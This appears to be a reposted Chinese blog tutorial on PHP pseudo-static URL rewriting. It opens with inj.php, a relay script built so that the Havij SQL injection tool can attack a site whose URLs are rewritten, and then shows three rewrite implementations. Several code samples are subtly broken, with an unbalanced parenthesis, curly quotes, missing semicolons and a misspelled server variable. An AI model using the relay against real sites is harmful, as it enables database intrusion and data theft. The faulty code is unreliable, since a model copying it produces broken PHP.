PHP 伪静态技术原理以及突破原理实现介绍

伪静态技术比较好突破,需要自己构造中转注入页面;伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式

先说实现方法:
inj.php:

<?php
set_time_limit(10);
$id = $_GET["id"];
$id = str_replace(" ", "%20", $id);
$id = str_replace("=", "%3D", $id);
$url = "http://www.xxx.com/index.php/library/more/id/$id.html";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

用wamp搭建一个服务器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1

PHP伪静态实现方法一(利用Apache 服务器的功能)
1、检查Apache是否支持mod_rewrite
2、让Apache 支持.htaccess
3、建立.htaccess文件
4、规则:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说:www.xx.com/page-18.html
真实的URL如下:
action = page
id = 18

PHP伪静态实现方法二(编码实现)
$Php2Html_FileUrl = $_SERVER[“REQUEST_URI”]
echo $Php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2

代码如下:

$Php2Html_UrlString = str_replace("?", "", str_replace("/", "", strrchr(strrchr($Php2Html_FileUrl, "/"), "?"))))
/*
内层的strrchr出来:/test.php?id|1@action|2
外层的strrchr出来:id|1@action|2
内层的str_replace出来:把 / 号去掉,本例子 没有
外层的str_replace出来:把 ?号去掉,本例子 没有
*/
$Php2Html_UrlQueryStrList = explode("@", $Php2Html_UrlString);
/*把str变成以@为界限划分的数组:id|1 和 action|2*/
foreach ($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr) {
	$Php2Html_TmpArray = explode("|", $Php2Html_UrlQueryStr);
	/* id => 1 和 action => 2*/
	$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1];
}

PHP伪静态实现方法三(编码实现)
例子: localhost/php100/test.php/1/2

代码如下:

$filename = basename($_SERVER["SCRIPT_NAME"]);
echo $_SERVER["SCRIPT_NAME"];
echo $filename;
if (strtolower($filename) == 'test.php') {
	if (!empty($_GET[id])) {
		$id = intval($_GET[id]);
		echo $id;
		$action = intval($_GET[action]);
		echo $action;
	} else {
		$nav = $_SERVER["REQUEST_URI"];
		$script = $_SERVER["SRCIPT_NAME"];
		//这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。
		$nav = ereg_replace("$script", "", urldecode($nav));
		echo $nav;
		$vars = explode("/", $nav);
		print_r($vars);
		$id = intval($vars[1]);
		$action = intval($vars[2]);
	}
	echo $id . '&' . $action;
}

总结下:
(1)伪静态技术比较好突破,需要自己构造中转注入页面。
(2)伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式。


原文地址:http://www.xz-src.com/1951.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值